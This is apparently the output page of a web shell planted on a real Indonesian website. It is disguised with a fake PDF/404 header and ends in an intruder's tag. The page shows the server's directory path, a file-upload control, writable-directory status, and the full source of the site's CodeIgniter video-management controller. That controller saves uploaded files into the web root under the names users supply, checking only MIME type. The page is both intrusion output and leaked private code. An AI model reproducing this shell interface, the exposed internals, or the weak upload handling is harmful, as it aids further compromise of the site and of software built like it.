%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/Video.php
<?php

namespace App\Controllers;

use CodeIgniter\Controller;

// use App\Models\DashboardModel;
use App\Models\History_model;
use App\Models\Video_Model;
use App\Models\Video_category_Model;

class Video extends BaseController
{
    protected $History;
    protected $session;
    protected $Video_Model;
    protected $Video_category_Model;
    protected $url_video_web;


    public function __construct()
    {
        $this->History = new History_model();
        $this->session = session();
        $this->Video_Model = new Video_Model();
        $this->Video_category_Model = new Video_category_Model();

        $parsed_url = parse_url(base_url());
        // Mendapatkan host
        $host = $parsed_url['host'];
        // Mencari tanda '.' pertama untuk menentukan domain utama
        $dot_position = strpos($host, '.');
        // Jika ada subdomain, maka indeks "." akan ada
        if ($dot_position !== false) {
            // Mengambil domain utama
            $main_domain = substr($host, $dot_position + 1);
        } else {
            // Jika tidak ada subdomain, domain adalah host itu sendiri
            $main_domain = $host;
        }
        // Membuat URL domain utama
        $this->url_video_web = $parsed_url['scheme'] . '://' . $main_domain . '/detail/video/';
    }

    public function index()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $this->History->save([
            'user_id' => $user_id,
            'username' => $username,
            'name' => $firstname . ' ' . $lastname,
            'kegiatan' => 'Video',
            'jenis_kegiatan' => 'Daftar Video',
            'tanggal_waktu' => date('Y-m-d H:i:s')
        ]);

        // $this->data_dashboard = new DashboardModel();
        $keyword = $this->request->getGet('search');
        $limit = 10;
        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '41',
            'parent_id_submenu' => '',
            'id_menu' => '42',
            'page1' => 'Video',
            'page2' => '',
            'link01' => base_url() . '/video/add',
            'link02' => base_url() . '/video',

            // 'data_video' => $this->Video_Model->get_video()->get()->getResultArray(),
            'data_video' => $this->Video_Model->get_video()->paginate($limit),
        );
        if ($keyword != null) {
            $data['data_video'] = $this->Video_Model->get_video(false, $keyword)->paginate($limit);
        }
        $data['url_video_web'] = $this->url_video_web;
        $data['pager'] = $this->Video_Model->pager->links();
        $data['keyword'] = $keyword;
        $data['limit'] = $limit;
        $data['componen'] = 'theme/BeyondAdmin/halaman/master_data/video/daftar';
        $data['page'] = $this->request->getVar('page') ? $this->request->getVar('page') : 1;
        echo view('layout', $data);
    }

    public function add()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();

        $page = 1;

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'page' => $page,
            'parent_id_menu' => '41',
            'parent_id_submenu' => '',
            'id_menu' => '42',
            'page1' => 'Add Video',
            'page2' => 'Video',
            'link01' => base_url() . '/video/add',
            'link02' => base_url() . '/video',
            'title' => old('title'),
            'alias' => old('alias'),
            'catid' => old('catid'),
            'internaltags' => old('internaltags'),
            'introtext' => old('introtext'),
            'fulltexts' => old('fulltexts'),
            'publish_up' => old('publish_up'),
            'published' => old('published'),
            'metadesc' => old('metadesc'),
            'metakey' => old('metakey'),
            'url_image' => old('url_image'),
            'url_video' => old('url_video'),
            'video' => old('url_video'),
            'active' => 0,
            'id' => 0,
            'status' => 'add',
            'data_baru' => 'Y',
            'url_form' => base_url('video/save'),
            'data_video_category' => $this->Video_category_Model->get_list_video_category()->getResultArray(),

            'componen' => 'theme/BeyondAdmin/halaman/master_data/video/add'
        );
        echo view('layout', $data);
    }

    public function edit($id, $page = 1)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();
        $dt_video = $this->Video_Model->get_video($id)->get()->getResult();
        // ambil data tags tiap video
        $dt_tags = $this->Video_Model->get_tags_by_video($id)->getResult();
        $tags = '';
        foreach ($dt_tags as $key => $dt) {
            $tags = $tags . $dt->name . ',';
        }

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'page' => $page,
            'parent_id_menu' => '41',
            'parent_id_submenu' => '',
            'id_menu' => '42',
            'page1' => 'Edit Video',
            'page2' => 'Video',
            'link01' => base_url() . '/video/edit',
            'link02' => base_url() . '/video',
            'title' => $dt_video[0]->title,
            'alias' => $dt_video[0]->alias,
            'catid' => $dt_video[0]->catid,
            'internaltags' => str_replace('-', ' ', $tags),
            'publish_up' => $dt_video[0]->publish_up,
            'published' => $dt_video[0]->published,
            'introtext' => $dt_video[0]->introtext,
            'fulltexts' => $dt_video[0]->fulltexts,
            'metadesc' => $dt_video[0]->metadesc,
            'metakey' => $dt_video[0]->metakey,
            'active' => $dt_video[0]->active,
            'id' => $dt_video[0]->id,
            'url_image' => $dt_video[0]->url_image,
            'url_video' => $dt_video[0]->url_video,
            'video' => $dt_video[0]->url_video,
            'data_baru' => 'T',

            'status' => 'edit',
            'url_form' => base_url('video/update'),

            'data_video_category' => $this->Video_category_Model->get_list_video_category()->getResultArray(),
            'componen' => 'theme/BeyondAdmin/halaman/master_data/video/add'
        );
        echo view('layout', $data);
    }

    public function save()
    {
        if (
            !$this->validate([
                'title' => [
                    'rules' => 'required|min_length[5]',
                    'errors' => [
                        'required' => 'Judul Harus diisi'
                    ]
                ],
                // 'catid' => [
                //     'rules' => 'required',
                //     'errors' => [
                //         'required' => 'Kategori Harus diisi'
                //     ]
                // ],
                'image' => [
                    'rules' => 'max_size[image,2048]|is_image[image]|mime_in[image,image/jpg,image/jpeg,image/png]',
                    'errors' => [
                        'max_size' => 'ukuran gambar terlalu besar max size (2MB)',
                        'is_image' => 'file yang dipilih tidak valid',
                        'mime_in' => 'gambar tidak valid'
                    ]

                ]
                ,
                'video_upload' => [
                    // 'rules' => 'uploaded[berkas]|mime_in[berkas,image/jpg,image/jpeg,image/gif,image/png]|max_size[berkas,2048]',
                    'rules' => 'mime_in[video_upload,video/mkv,video/mp4]|max_size[video_upload,15000]',
                    'errors' => [
                        'mime_in' => 'File Video Tidak Didukung, Format video harus .mp4',
                        // 'mime_in' => 'File Extention Harus Berupa jpg,jpeg,gif,png',
                        'max_size' => 'Ukuran File Maksimal 15 MB'
                    ]
                ],
                'internaltags' => [
                    'rules' => 'required|min_length[2]',
                    'errors' => [
                        'required' => 'Tags Harus diisi'
                    ]
                ]

            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {
            $username = session()->get('username');
            $user_id = session()->get('user_id');
            $published = 0;
            // $this->request->getVar('active');
            if (!is_null($this->request->getVar('published'))) {
                $published = 1;
            }
            $tglStr = $this->request->getVar('tgl');
            $tgl = date('Y-m-d', strtotime($tglStr));

            $jamStr = $this->request->getVar('jam');
            $jam = date('H:i:s', strtotime($jamStr));

            $publish_up = $tgl . ' ' . $jam;

            $title = str_replace('"', "'", $this->request->getVar('title'));
            $alias = $this->get_title_to_alias($title);

            //--- cek image ----
            $fileImage = $this->request->getFile('image');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/images/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

            //---- image ----
            if ($fileImage->getError() == 4) {
                $namaImage = $this->request->getVar('sampulLama');
            } else if ($this->request->getVar('sampulLama') == null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
            } else if ($fileImage != null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            if ($namaImage == null or $namaImage == "") {
                if ($this->request->getVar('sampulLama') == null or $this->request->getVar('sampulLama') == '') {
                    $url_image = '';
                } else {
                    $url_image = $this->request->getVar('sampulLama');
                }
            } else {
                $url_image = $folder_image . $namaImage;
            }
            //--- cek video ----
            $fileVideo = $this->request->getFile('video_upload');
            // print_r($fileVideo);
            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_video = "/storage/video/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

            //---- video ----
            if ($fileVideo->getError() == 4) {
                // print('error toh');
                $namaVideo = $fileVideo->getName();
            } else if ($this->request->getVar('title') == null) {
                // // generate nama file random
                $namaVideo = $fileVideo->getName();
                // // pindahkan gambar
                $fileVideo->move($base_root . $folder_video, $namaVideo);
                // print('berhasil toh 1');
            } else if ($fileVideo != null) {
                // generate nama file random
                $namaVideo = $fileVideo->getName();
                // pindahkan gambar
                $fileVideo->move($base_root . $folder_video, $namaVideo);
                // print('berhasil toh 2');
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            if ($namaVideo == null or $namaVideo == "") {
                if ($this->request->getVar('title') == null or $this->request->getVar('title') == '') {
                    $url_video = '';
                } else {
                    $url_video = $fileVideo->getName();
                }
            } else {
                $url_video = $folder_video . $namaVideo;
            }


            $data = array(
                'title' => $this->request->getVar('title'),
                'alias' => $alias,
                'catid' => $this->request->getVar('catid'),
                //'internaltags'	=> $this->request->getVar('internaltags'),
                'publish_up' => $publish_up,
                'published' => $published,
                'introtext' => substr(strip_tags($this->request->getVar('fulltexts')), 0, 150),
                'fulltexts' => $this->request->getVar('fulltexts'),
                'metadesc' => $this->request->getVar('metadesc'),
                'metakey' => $this->request->getVar('metakey'),
                'created_by' => $user_id,
                'active' => $published,
                'url_image' => $folder_image . $namaImage,
                'url_video' => $folder_video . $namaVideo,
            );

            $this->Video_Model->save_video($data);
            $itemsid = $this->Video_Model->insertID();


            //input tags
            $new = explode(',', $this->request->getVar('internaltags'));
            for ($a = 0; $a < count($new); $a++) {
                // print($new[$a]);
                $text = str_replace(" ", "-", $new[$a]);
                $rslt = $this->Video_Model->get_tags($text)->getResult();

                if ($rslt) {
                    $tagid = $rslt[0]->id;
                } else {
                    $data = array('name' => $text);
                    $this->Video_Model->save_tags($data);
                    $tagid = $this->Video_Model->insertID();
                }

                $hsl = $this->Video_Model->get_tags_xref($itemsid, $tagid)->getResult();
                if ($hsl) {
                    if ($hsl[0]->active == 0) {
                        $data = array('active' => 1);
                        $this->Video_Model->update_tags($data, $hsl[0]->id);
                    }
                    if ($hsl[0]->trash == 1) {
                        $data = array('active' => 1);
                        $this->Video_Model->update_tags($data, $hsl[0]->id);
                    }

                } else {
                    $data = array('tag_id' => $tagid, 'items_id' => $itemsid);
                    $this->Video_Model->save_tags_xref($data);
                }
            }

            return redirect()->to(base_url('video'));
        }
    }

    public function update()
    {
        if (
            !$this->validate([
                'title' => [
                    'rules' => 'required|min_length[3]',
                    'errors' => [
                        'required' => 'Judul Harus diisi'
                    ]
                ],
                'image' => [
                    'rules' => 'max_size[image,2048]|is_image[image]|mime_in[image,image/jpg,image/jpeg,image/png]',
                    'errors' => [
                        'max_size' => 'ukuran gambar terlalu besar max size (2MB)',
                        'is_image' => 'file yang dipilih tidak valid',
                        'mime_in' => 'gambar tidak valid'
                    ]

                ],
                'video_upload' => [
                    // 'rules' => 'uploaded[berkas]|mime_in[berkas,image/jpg,image/jpeg,image/gif,image/png]|max_size[berkas,2048]',
                    'rules' => 'mime_in[video_upload,video/mkv,video/mp4]|max_size[video_upload,15000]',
                    'errors' => [
                        'mime_in' => 'File Video Tidak Didukung, Format video harus .mp4',
                        // 'mime_in' => 'File Extention Harus Berupa jpg,jpeg,gif,png',
                        'max_size' => 'Ukuran File Maksimal 15 MB'
                    ]
                ],
                'internaltags' => [
                    'rules' => 'required|min_length[2]',
                    'errors' => [
                        'required' => 'Tags Harus diisi'
                    ]
                ]
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {

            $username = session()->get('username');
            $user_id = session()->get('user_id');
            $published = 0;
            // $this->request->getVar('active');
            $page = $this->request->getVar('page');

            if (!is_null($this->request->getVar('published'))) {
                $published = 1;
            }
            $tglStr = $this->request->getVar('tgl');
            $tgl = date('Y-m-d', strtotime($tglStr));

            $jamStr = $this->request->getVar('jam');
            $jam = date('H:i:s', strtotime($jamStr));

            $publish_up = $tgl . ' ' . $jam;

            $id = $this->request->getVar('id');

            $title = str_replace('"', "'", $this->request->getVar('title'));
            $alias = $this->get_title_to_alias($title);

            //--- cek image ----
            $fileImage = $this->request->getFile('image');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/images/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

            $imageLama = $this->request->getVar('sampulLama');
            // cek gambar lama
            if ($fileImage->getError() == 4) {
                $namaImage = $this->request->getVar('sampulLama');
            } else if ($this->request->getVar('sampulLama') == null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // $namaImage = $fileImage->getRandomName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
            } else if ($fileImage != null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            // echo $namaImage.'<br>'.$imageLama;
            // die;

            if ($namaImage == null or $namaImage == "") {
                $url_image = $this->request->getVar('sampulLama');
            } else {
                if ($imageLama == NULL or $imageLama = '') {
                    $url_image = $folder_image . $namaImage;
                } else {
                    if (substr($namaImage, 0, 9) == substr($folder_image, 0, 9)) {
                        $url_image = $namaImage;
                    } else {
                        $url_image = $folder_image . $namaImage;
                    }
                }
            }

            //--- cek video ----
            $fileVideo = $this->request->getFile('video_upload');
            $cek_nama = $fileVideo->getName();
            if ($fileVideo != null) {
                // print_r($fileVideo);
                $date = date_create();
                $tahun = date_format($date, "Y");
                $bulan = date_format($date, "m-M");
                $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
                $folder_video = "/storage/video/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

                //---- video ----
                if ($fileVideo->getError() == 4) {
                    // print('error toh');
                    $namaVideo = $fileVideo->getName();
                } else if ($this->request->getVar('title') == null) {
                    // // generate nama file random
                    $namaVideo = $fileVideo->getName();
                    // // pindahkan gambar
                    $fileVideo->move($base_root . $folder_video, $namaVideo);
                    // print('berhasil toh 1');
                } else if ($fileVideo != null) {
                    // generate nama file random
                    $namaVideo = $fileVideo->getName();
                    // pindahkan gambar
                    $fileVideo->move($base_root . $folder_video, $namaVideo);
                    // print('berhasil toh 2');
                    // unlink('images/user/'. $this->request->getVar('sampulLama'));
                }

                if ($namaVideo == null or $namaVideo == "") {
                    if ($this->request->getVar('title') == null or $this->request->getVar('title') == '') {
                        $url_video = '';
                    } else {
                        $url_video = $this->request->getVar('cek_video');
                    }
                } else {
                    $url_video = $folder_video . $namaVideo;
                }
                // $url_video=$folder_video.$namaVideo;
                // print( 'cek nama=='.$url_video);
                // die;

            } else {
                $url_video = $this->request->getVar('cek_video');
                die;
            }

            $data = array(
                'title' => $this->request->getVar('title'),
                'alias' => $alias,
                'catid' => $this->request->getVar('catid'),
                //'internaltags'	=> $this->request->getVar('internaltags'),
                'publish_up' => $publish_up,
                'published' => $published,
                'introtext' => substr(strip_tags($this->request->getVar('fulltexts')), 0, 150),
                'fulltexts' => $this->request->getVar('fulltexts'),
                'metadesc' => $this->request->getVar('metadesc'),
                'metakey' => $this->request->getVar('metakey'),
                'active' => $published,
                'modified_by' => $user_id,
                'url_image' => $url_image,
                'url_video' => $url_video,
            );

            $this->Video_Model->update_video($data, $id);
            $itemsid = $id;


            //input tags / upadate tags
            $data = array('active' => 0);
            $this->Video_Model->delete_tags($data, $itemsid);
            $new = explode(',', $this->request->getVar('internaltags'));
            for ($a = 0; $a < count($new); $a++) {
                $text = str_replace(" ", "-", $new[$a]);
                $rslt = $this->Video_Model->get_tags($text)->getResult();

                if ($rslt) {
                    $tagid = $rslt[0]->id;
                } else {
                    $data = array('name' => $text);
                    $this->Video_Model->save_tags($data);
                    $tagid = $this->Video_Model->insertID();
                }

                $hsl = $this->Video_Model->get_tags_xref($itemsid, $tagid)->getResult();
                if ($hsl) {
                    if ($hsl[0]->active == 0) {
                        $data = array('active' => 1);
                        $this->Video_Model->update_tags($data, $hsl[0]->id);
                    }
                    if ($hsl[0]->trash == 1) {
                        $data = array('active' => 1);
                        $this->Video_Model->update_tags($data, $hsl[0]->id);
                    }

                } else {
                    $data = array('tag_id' => $tagid, 'items_id' => $itemsid);
                    $this->Video_Model->save_tags_xref($data);
                }
            }
            return redirect()->to(base_url('video?page=' . $page));
        }
    }


    // public cek_file_image($nama_file=false)
    // {
    // if (file_exists($nama_file))
    // {
    // $file_baru=$nama_file+'_1';
    // $no =1;
    // while (file_exists($file_baru)) {

    // } 
    // return true;
    // }
    // else
    // {
    // return false;
    // }
    // }

    public function delete($id)
    {
        $data = array(
            'trash' => 1,
        );

        $this->Video_Model->update_video($data, $id);

        return redirect()->to(base_url('video'));
    }

    function edit_active()
    {

        $id = $this->request->getVar('ids');

        $active = 0;
        if (!is_null($this->request->getVar('active'))) {
            $active = 1;
        }


        $data = array(
            'active' => $active,
        );

        //return redirect()->to(base_url());		
        // var_dump($data);
        // die;

        $this->Video_Model->update_video($data, $id);

        // return redirect()->to(base_url('video'));
    }

    function simpan_active()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'active' => $active,
        );


        $this->Video_Model->update_video($data, $id);


    }

    function simpan_publish()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'published' => $active,
        );


        $this->Video_Model->update_video($data, $id);


    }

    function get_title_to_alias($text)
    {
        $textlow = strtolower($text);
        $textfree = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $textlow);
        $result = str_replace(',', '', $textfree);
        $result = str_replace(' ', '-', $textfree);
        return $result;
    }


}
?>

WonXd677 Sh3LL